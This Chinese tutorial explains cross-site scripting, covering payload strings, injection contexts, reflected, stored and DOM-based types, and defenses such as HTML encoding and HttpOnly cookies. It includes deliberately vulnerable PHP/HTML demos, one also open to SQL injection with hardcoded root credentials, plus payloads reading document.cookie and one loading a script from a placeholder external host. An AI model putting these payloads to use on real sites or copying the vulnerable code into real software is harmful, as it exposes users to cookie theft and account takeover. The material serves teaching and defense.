【Web 安全】XSS 攻击详解

文章目录

  • 一、XSS 攻击概述
  • 二、XSS 攻击原理
    • 1. XSS的攻击载荷
      • （1） script 标签
      • （2） svg 标签
      • （3） img 标签
      • （4）body 标签
      • （5） video 标签
      • （6） style 标签
    • 2. XSS可以插在哪里？
  • 三、XSS 攻击的分类
    • 1. 反射型
    • 2. 存储型
    • 3. DOM型
  • 四、对 XSS 漏洞的简单攻击
    • 1. 反射型XSS
    • 2. 存储型XSS
    • 3. DOM型XSS
  • 五、XSS 攻击过程
    • 1. 反射型 XSS 漏洞
    • 2. 存储型XSS漏洞
  • 六、XSS漏洞的危害
  • 七、XSS 的防御
  • 参考链接

一、XSS 攻击概述

跨站脚本攻击XSS(Cross Site Scripting)，为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。

恶意攻击者往 Web 页面里插入恶意 Script 代码（我说：插入的过程类似于注入），当用户浏览该页面时，嵌入 Web 里面的 Script 代码会被执行，从而达到恶意攻击用户的目的。

XSS 攻击针对的是用户层面的攻击！

二、XSS 攻击原理

HTML 是一种超文本标记语言，通过将一些字符特殊地对待来区别文本和标记，例如，小于符号（<）被看作是 HTML 标签的开始，

与之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符（如<）时，用户浏览器会将其误认为是插入了 HTML 标签，当这些 HTML 标签引入了一段 JavaScript 脚本时，这些脚本程序就将会在用户浏览器中执行。所以，当这些特殊字符不能被动态页面检查或检查出现失误时，就将会产生 XSS 漏洞。

1. XSS的攻击载荷

以下所有标签的 > 都可以用 // 代替， 例如 <script>alert(1)</script//

（1） script 标签

<script> 标签是最直接的 XSS 有效载荷，脚本标记可以引用外部的 JavaScript 代码，也可以将代码插入脚本标记中：

（关于 web 基础，<script> 的介绍可以参见我的另一篇文章：【Web】JavaScript 简介）

<script>alert("hack")</script>   #弹出hack
<script>alert(/hack/)</script>   #弹出hack
<script>alert(1)</script>        #弹出1，对于数字可以不用引号
<script>alert(document.cookie)</script>      #弹出cookie
<script src=http://xxx.com/xss.js></script>  #引用外部的xss

（2） svg 标签

<svg onload="alert(1)">
<svg οnlοad="alert(1)"//

（3） img 标签

<img  src=1  οnerrοr=alert("hack")>
<img  src=1  οnerrοr=alert(document.cookie)>  #弹出cookie

（4）body 标签

<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>

（5） video 标签

<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />

（6） style 标签

<style οnlοad=alert(1)></style>

2. XSS可以插在哪里？

  1. 用户输入作为 script 标签内容
  2. 用户输入作为 HTML 注释内容
  3. 用户输入作为 HTML 标签的属性名
  4. 用户输入作为 HTML 标签的属性值
  5. 用户输入作为 HTML 标签的名字
  6. 直接插入到 CSS 里
  7. 最重要的是，千万不要引入任何不可信的第三方 JavaScript 到页面里！
#用户输入作为HTML注释内容，导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->
#用户输入作为标签属性名，导致攻击者可以进行闭合绕过
<div 用户输入="xx">  </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>
#用户输入作为标签属性值，导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>
#用户输入作为标签名，导致攻击者可以进行闭合绕过
<用户输入  id="xx" />
<><script>alert('hack')</script><b id="xx" />
#用户输入作为CSS内容，导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style></style>

三、XSS 攻击的分类

XSS分为：存储型 、反射型 、DOM型

  1. 存储型XSS：持久化，代码是存储在 服务器 中的，如在个人信息或发表文章等地方，插入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，用户访问该页面的时候触发代码执行。这种XSS比较危险，容易造成蠕虫，盗窃cookie。
  2. 反射型XSS：非持久化，需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的页面和内容），一般容易出现在 web 页面。反射型XSS大多数是用来盗取用户的Cookie信息。
  3. DOM型XSS：不经过后端，DOM-XSS漏洞是基于文档对象模型(Document Objeet Model，DOM)的一种漏洞，DOM-XSS是通过 url 传入参数去控制触发的，其实也属于反射型XSS。

1. 反射型

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2. 存储型

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3. DOM型

如下图，我们在 URL 中传入参数的值，然后客户端页面通过 js 脚本利用 DOM 的方法获得 URL 中参数的值，再通过 DOM 方法赋值给选择列表，该过程没有经过后端，完全是在前端完成的。

所以，我们就可以在我们输入的参数上做手脚了。

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四、对 XSS 漏洞的简单攻击

1. 反射型XSS

先放出源代码

//前端 1.html：
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>反射型XSS</title>
</head>
<body>
    <form action="action.php" method="post">  <!-- <form>表示文档的服务器区域，此区域中包含一个Web站点的信息控件，用于向Web服务器区域提交 -->
        <input type="text" name="name" />
        <input type="submit" value="提交">
    </form>
</body>
</html>
//后端 action.php：
<?php
    $name=$_POST["name"]; 
	echo $name;
?>

这里有一个用户提交的页面，用户可以在此提交数据，数据提交之后给后台处理：
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所以，我们可以在输入框中提交数据： <script>alert('hack')</script> ，看看会有什么反应：
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页面直接弹出了 hack 的页面，可以看到，我们插入的语句已经被页面给执行了。

这就是最基本的 反射型的 XSS 漏洞 ，这种漏洞数据流向是： 前端–>后端–>前端

2. 存储型XSS

先给出源代码

//前端：2.html
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>存储型XSS</title>
</head>
<body>
    <form action="action2.php" method="post">
        输入你的ID：  <input type="text" name="id" /> <br/>
        输入你的Name：<input type="text" name="name" /> <br/>
        <input type="submit" value="提交">
    </form>
</body>
</html>
//后端：action2.php
<?php
	$id=$_POST["id"];
	$name=$_POST["name"];
	mysql_connect("localhost","root","root");
	mysql_select_db("test");
	$sql="insert into xss value ($id,'$name')";
	$result=mysql_query($sql);
?>
//供其他用户访问页面：show2.php
<?php
	mysql_connect("localhost","root","root");
	mysql_select_db("test");
	$sql="select * from xss where id=1";
	$result=mysql_query($sql);
	while($row=mysql_fetch_array($result)){
		echo $row['name'];
	}
?>

这里有一个用户提交的页面，数据提交给后端之后，后端存储在数据库中 （比反射型多了一个存储进数据库的过程，所以会存在存储型 XSS 漏洞）。然后当其他用户访问另一个页面的时候，后端调出该数据，显示给另一个用户，XSS 代码就被执行了。

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我们输入 1 和 <script>alert(\'hack\')</script> ，注意，这里的 hack 的单引号要进行转义，因为 sql 语句中的 $name 是单引号的，所以这里不转义的话就会闭合 sql 语句中的单引号。不然注入不进去。提交了之后，我们看看数据库：

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可以看到，我们的 XSS 语句已经插入到数据库中了
然后当其他用户访问 show2.php 页面时，我们插入的 XSS 代码就执行了。
存储型 XSS 的数据流向是：前端–>后端–>数据库–>后端–>前端

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3. DOM型XSS

先放上源代码

// 前端3.html
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>DOM型XSS</title>
</head>
<body>
    <form action="action3.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="提交">
    </form>
</body>
</html>
// 后端action3.php
<?php
  $name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
  var text=document.getElementById("text");
  var print=document.getElementById("print");
  print.innerHTML=text.value;  // 获取 text的值，并且输出在print内。这里是导致 xss 的主要原因。
</script>

这里有一个用户提交的页面，用户可以在此提交数据，数据提交之后给后台处理：

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我们可以输入 <img src=1 οnerrοr=alert('hack')> ，然后看看页面的变化：

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页面直接弹出了 hack 的页面，可以看到，我们插入的语句已经被页面给执行了。
这就是 DOM型XSS 漏洞，这种漏洞数据流向是： 前端–>浏览器

五、XSS 攻击过程

1. 反射型 XSS 漏洞

  1. Alice 经常浏览某个网站，此网站为 Bob 所拥有。Bob 的站点需要 Alice 使用用户名/密码进行登录，并存储了 Alice 敏感信息(比如银行帐户信息)。
  2. Tom 发现 Bob 的站点存在反射性的 XSS 漏洞。
  3. Tom 利用 Bob 网站的反射型 XSS 漏洞编写了一个exp，做成链接的形式，并利用各种手段诱使 Alice 点击。
  4. Alice 在登录到 Bob 的站点后，浏览了 Tom 提供的恶意链接。
  5. 嵌入到恶意链接中的恶意脚本在 Alice 的浏览器中执行。此脚本 盗窃敏感信息 (cookie、帐号信息等信息)。然后在 Alice 完全不知情的情况下将这些信息发送给 Tom。
  6. Tom 利用获取到的 cookie 就可以以 Alice 的身份登录 Bob 的站点，如果脚本的功更强大的话，Tom 还可以对 Alice 的浏览器做控制并进一步利用漏洞控制。

2. 存储型XSS漏洞

  1. Bob 拥有一个 Web 站点，该站点允许用户发布信息/浏览已发布的信息。
  2. Tom 检测到 Bob 的站点存在存储型的 XSS 漏洞。
  3. Tom 在 Bob 的网站上发布一个带有恶意脚本的热点信息，该热点信息存储在了 Bob 的服务器的数据库中，然后吸引其它用户来阅读该热点信息。
  4. Bob 或者是任何的其他人如 Alice 浏览该信息之后，Tom 的恶意脚本就会执行。
  5. Tom的恶意脚本执行后，Tom就可以对浏览器该页面的用户发动一起 XSS 攻击。

六、XSS漏洞的危害

从以上我们可以知道，存储型的XSS危害最大。因为他存储在服务器端，所以不需要我们和被攻击者有任何接触，只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL，需要我们和用户有直接或者间接的接触，比如利用社会工程学或者利用在其他网页挂马的方式。

那么，利用XSS漏洞可以干什么呢？

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如果JS水平一般的话，还可以利用网上免费的 XSS 平台来构造代码实施攻击。

七、XSS 的防御

XSS防御的总体思路是：对 用户的输入(和URL参数) 进行 过滤 ，对 输出 进行 html编码。也就是对用户提交的所有内容进行过滤，对url中的参数进行过滤；然后对动态输出到页面的内容进行 html 编码，转换为 html 实体，使脚本无法在浏览器中执行。

  1. 对输入的内容进行过滤，可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的 XSS 攻击，但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝 XSS 攻击，但是真实环境中一般是不能进行如此严格的白名单过滤的。

  2. 对输出进行 html 编码，就是通过函数，将用户的输入的数据进行 html 编码，使其不能作为脚本运行。
    如下，是使用 php 中的 htmlspecialchars 函数对用户输入的 name 参数进行 html 编码，将其转换为 html 实体：

    #使用htmlspecialchars函数对用户输入的name参数进行html编码，将其转换为html实体
$name = htmlspecialchars( $_GET[ 'name' ] );

    如下，图一是没有进行 html 编码的，图2是进行了 html 编码的。经过 html 编码后 script 标签被当成了 html 实体。
    【Web 安全】XSS 攻击详解
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  3. 我们还可以服务端设置会话 Cookie 的 HTTP Only 属性，这样，客户端的 JS 脚本就不能获取Cookie 信息了。

参考链接

  1. XSS(跨站脚本攻击)详解
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